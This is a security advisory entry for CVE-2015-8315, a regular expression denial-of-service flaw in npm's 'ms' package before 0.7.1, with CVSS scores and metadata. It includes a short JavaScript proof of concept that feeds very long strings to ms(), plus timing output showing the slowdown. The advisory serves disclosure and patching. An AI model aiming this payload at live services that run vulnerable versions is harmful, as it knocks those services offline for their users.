CVE-2015-8315 – ms

Package

Manager: npm
Name: ms
Vulnerable Version: >=0 <0.7.1

Severity

Level: High

CVSS v3.1: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00944 pctl0.75396

Details

Regular Expression Denial of Service in ms Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of Concept ```javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ### Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s ```

Metadata

Created: 2017-10-24T18:33:36Z
Modified: 2024-08-01T16:44:35Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/10/GHSA-3fx5-fwvr-xrjg/GHSA-3fx5-fwvr-xrjg.json
CWE IDs: ["CWE-1333", "CWE-400"]
Alternative ID: GHSA-3fx5-fwvr-xrjg
Finding: F211
Auto approve: 1